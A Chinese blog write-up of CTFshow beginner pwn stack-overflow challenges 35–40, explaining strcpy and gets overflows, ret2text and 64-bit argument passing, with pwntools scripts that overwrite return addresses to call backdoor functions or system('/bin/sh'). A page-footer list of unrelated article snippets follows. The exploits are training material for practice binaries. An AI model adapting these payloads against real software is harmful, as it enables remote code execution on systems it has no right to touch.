CTFshow-pwn入门-栈溢出 (慢慢更

文章目录

    • pwn 35
    • pwn 36
    • pwn 37
    • pwn 38
    • pwn 39
    • pwn 40

好几天没发博客了,忙着吃席去了 QAQ

pwn 35

image-20240131112436902

Partial RELRD,NX 开启

char dest;声明一个名为dest的字符变量。return strcpy(&dest, src);使用strcpy函数将src字符串复制到dest字符数组中,并返回指向dest的指针。strcpy函数(strcpy函数没有长度限制)这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。

注意到signal(11, (__sighandler_t)sigsegv_handler);Signal 11错误,也称为“Segmentation fault”,是一种用于提示Unix系统程序出现错误的信号。当应用程序试图对无权访问的内存地址进行读写操作时,会调用 sigsegv_handler 函数,sigsegv_handler 函数 会把stderr打印输出,即将flag的值打印输出那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag

【Linux函数】Signal ()函数详细介绍_linux signal-CSDN博客

image-20240131112944965

所以我们参数长点让 strcpy 溢出触发 NX 保护,然后触发 signal 11,再触发 sigsegv_handle 打印 flag

cyclic 105
./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb

image-20240131113515906

pwn 36

存在后门函数,如何利用?

详细分析:checksec32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

image-20240131142718462

ctfshow 函数中存在 gets 函数

gets(s)

该函数无法限制输入的长度,可能会超出s数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,且提供后门函数 get_flag()

所以属于 ret2text

from pwn import *
from LibcSearcher import *def s(a):io.send(a)
def sa(a, b):io.sendafter(a, b)
def sl(a):io.sendline(a)
def sla(a, b):io.sendlineafter(a, b)
def r():io.recv()
def pr():print(io.recv())
def rl(a):return io.recvuntil(a)
def inter():io.interactive()
def debug():gdb.attach(io)pause()
def get_64addr():return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():return u32(io.recv()[0:4])
def get_64sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28241)padding = 44
back_door = elf.sym['get_flag']payload = flat([padding*b'a',back_door])sla('want: \n',payload)inter()

pwn 37

给了后门函数,ret2text

检查一下保护,开启了 nx 保护。堆栈不可执行,不过有后门函数,跟进 ctfshow 函数,read 可以读取 50 个字节

return read(0, buf, 0x32u);

而且,buf 到 返回地址偏移量是 0x12 + 4 个字节,完全够用。

from pwn import *
from LibcSearcher import *def s(a):io.send(a)
def sa(a, b):io.sendafter(a, b)
def sl(a):io.sendline(a)
def sla(a, b):io.sendlineafter(a, b)
def r():io.recv()
def pr():print(io.recv())
def rl(a):return io.recvuntil(a)
def inter():io.interactive()
def debug():gdb.attach(io)pause()
def get_64addr():return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():return u32(io.recv()[0:4])
def get_64sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28128)padding = 0x12 + 4
back_door = elf.sym['backdoor']payload = flat([padding*b'a',back_door])sla('32bit\n',payload)inter()

pwn 38

和上一题差不多,只是 64 位程序调用 system 要考虑堆栈平衡

padding = 0x0A + 8
back_door = elf.sym['backdoor']
payload = flat([padding*b'a',back_door+1])

pwn 39

system 和 ‘/bin/sh’ 分开,要我们自己传参了。

我们构造的payload在先进行溢出后,填上system函数的地址,这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址(随你便,我这里习惯用 deadbeef)。,最跟上 system 的参数 字符串 /bin/sh 的指针。

payload = flat([padding*b'a',system,0xdeadbeef,binsh])

pwn 40

ret2text 的 64 位传参,有两点要注意点

  1. rdi 寄存器传参
  2. 堆栈平衡
payload = flat([padding*b'a',ret,pop_rdi,binsh,system])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/659432.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

贪心算法(简单易懂,考研复试上机知识点)

贪心算法简介: 贪心算法,思路也是非常简单的,每一步总是做出在当前看来最好的选择。 贪心算法的核心就是无后效性,也就是说当前的决策不会影响之后的决策,是独立的。 dp(动态规划)是有后效性…

【Vue】2-8、Axios 网络请求

cdn&#xff1a;<script src"https://unpkg.com/axios/dist/axios.min.js"></script> 注&#xff1a;使用 CDN 链接就可以不需要去下载对应的 js 文件到本地&#xff0c;只需要联网即可使用&#xff0c;可以减少项目的体积 <!DOCTYPE html> <…

mac电脑风扇控制软件:Macs Fan Control Pro for mac 激活版

Macs Fan Control 是一款专门为 Mac 用户设计的软件&#xff0c;它可以帮助用户控制和监控 Mac 设备的风扇速度和温度。这款软件允许用户手动调整风扇速度&#xff0c;以提高设备的散热效果&#xff0c;减少过热造成的风险。 Macs Fan Control 可以在菜单栏上显示当前系统温度和…

【51单片机系列】中断优先级介绍及使用

文章来源&#xff1a;《51单片机原理及应用&#xff08;第3版&#xff09;》5.4节。 51单片机采用了自然优先级和人工设置高、低优先级的策略。 当CPU处理低优先级中断&#xff0c;又发生更高级中断时&#xff0c;此时中断处理过程如下图所示。 一个正在执行的低优先级中断服…

C#实现windows系统重启、关机

一、C#实现windows系统重启、关机 实现原理&#xff0c;使用系统shutdown命令执行&#xff1a; 强制关机&#xff1a; shutdown -s -f -t 0 强制重启&#xff1a; shutdown -r -f -t 0 二、关于shutdown命令详解&#xff1a; C#实现控制Windows系统关机、重启和注销的方法…

刷存在感,Excel转Protobuf/Json通用配置文件

使用场景 最近工作流中有将Excel转Protobuf作为配置文件的技术方案。具体实现是先定一个proto文件&#xff0c;再在一个对应excel表中定义对应字段&#xff0c;由策划在excel进行更改。proto文件可以生成对应语言的脚本&#xff0c;然后将excel转成对应protobuf的binary。 我…

uniapp 问题汇总-问题数(2)

ios scroll-view无法滚动 使用uview折叠面板嵌套scroll-view 嵌套之后安卓可以滚动&#xff0c;ios无法滚动 <u-collapse accordion opencollapseOpen changecollapseChange ref"uCollapse" :valueuCollapseValue><u-collapse-item :nameindex :title&quo…

Leetcode第382场周赛

Leetcode第382场周赛 本人水平有限&#xff0c;只做前三道。 一、按键变更的次数 给你一个下标从 0 开始的字符串 s &#xff0c;该字符串由用户输入。按键变更的定义是&#xff1a;使用与上次使用的按键不同的键。例如 s “ab” 表示按键变更一次&#xff0c;而 s “bBBb”…

Codeforces Round 922 (Div. 2 ABCDEF题)

A. Brick Wall Problem Statement A brick is a strip of size 1 k 1 \times k 1k, placed horizontally or vertically, where k k k can be an arbitrary number that is at least 2 2 2 ( k ≥ 2 k \ge 2 k≥2). A brick wall of size n m n \times m nm is such a…

Typescript之从零开始学习笔记,涵盖常用基本类型实操案例

Typescript之从零开始学习笔记 文章目录 Typescript之从零开始学习笔记1.环境搭建1. 安装node.js2. 安装typescript3. 使用tsc对ts进行编译 2. TS 配置1 编译器配置1. 生成配置文件2. 自动编译3. 发生错误 3. 基本语法1. 静态类型检查2.基本数据类型3. 数组类型4. any类型5. 函…

MySQL中的SET数据类型详解

MySQL中的SET数据类型详解 在数据库设计中&#xff0c;我们经常需要存储一组预定义的值&#xff0c;并且这些值可能会有多个同时适用的情况。这时&#xff0c;MySQL的SET数据类型就派上用场了。 SET是MySQL中的一个特殊数据类型&#xff0c;用于存储一个值的集合&#xff0c;…

Pandas进阶--map映射,分组聚合和透视pivot_table详解

文章目录 1.Pandas的map映射&#xff08;1&#xff09;映射&#xff08;2&#xff09;map充当运算工具 2.数据分组和透视&#xff08;1&#xff09;分组统计 - groupby功能 是pandas最重要的功能&#xff08;2&#xff09;聚合agg 3.透视表pivot_table&#xff08;1&#xff09…

小程序上的h5页面在web上面访问 页面基于vue

前提&#xff1a;BASE_URL: https://ded.toll.keeke.ai/ded-api/ 页面路径是&#xff1a;pages/webview/webview 参数是&#xff1a;id111 列表页跳转到详情页的方法是 toDetail(e) {wx.navigateTo({url: ../webview/webview?id e.currentTarget.dataset.oid})}, vue的映射…

Javaopp面向对象04

目录 成员变量和局部变量 位置&#xff1a; 权限修饰不同&#xff1a; 初始化不同&#xff1a; 生命周期不同&#xff1a;&#xff08;什么时候生&#xff08;创建&#xff09;&#xff0c;什么时候死&#xff08;销毁&#xff09;&#xff09; 在内存中的位置不同&#x…

【日常问题】Failed to enable unit: Unit file docker.service does not exist.

Failed to enable unit: Unit file docker.service does not exist. 1. 问题原因 笔者问题的产生是因为在ubuntu20.04下采用snapd安装的docker&#xff0c;因此 systemctl restart docker.servicesystemd并不能找到守护进程docker.service 同时使用docker命令时还会产生若干…

React Router 完美教程(上)

概述 什么叫路由呢&#xff0c;说白了就是如何处理页面的跳转。在传统的网站中&#xff0c;我们都是向服务器请求页面及相应的css和js代码。自从前后端分离的相思提出后&#xff0c;一堆基于js虚拟Dom的框架应运而生。React就是其中优秀的代表作之一。这种方式极大的优化了开发…

Conventional SortSearch

Merge Sort——from bottom to top(iteration) void merge_sort( ElementType list[], ElementType sorted[], int N, int length ){int size1;for(;size<N;size*2){for(int i0;i<N;i2*size){int l1i; int l2sizei;int locl1;while(l1<isize&&l1<N&…

【经验】电赛经验总结

我们组在PWM波的调节方面一直采用的是硬件调节&#xff0c;相比软件调节硬件调节虽然在调节方面简单粗暴&#xff0c;但需要对实行调节功能的芯片有较好的了解且调试过程不简单&#xff0c;有时半天调不出来&#xff0c;而且老烧芯片。通常此时应该多看芯片手册找其原因&#x…

etcd自动化安装配置教程

文章目录 前言一、简介1. 简介2. 特点3. 端口介绍 二、etcd安装教程&#xff08;单机版&#xff09;1. 复制脚本2. 增加执行权限3. 执行脚本4. 查看启动状态5. 卸载etcd 三、etcd安装教程&#xff08;集群版&#xff09;1. 复制脚本2. 增加执行权限3. 分发脚本4. 执行脚本5. 启…

中科大计网学习记录笔记(一):Internet | 网络边缘

计算机网络 前言&#xff1a; 学习视频&#xff1a;中科大郑烇、杨坚全套《计算机网络&#xff08;自顶向下方法 第7版&#xff0c;James F.Kurose&#xff0c;Keith W.Ross&#xff09;》课程 该视频是B站非常著名的计网学习视频&#xff0c;但相信很多朋友和我一样在听完前面…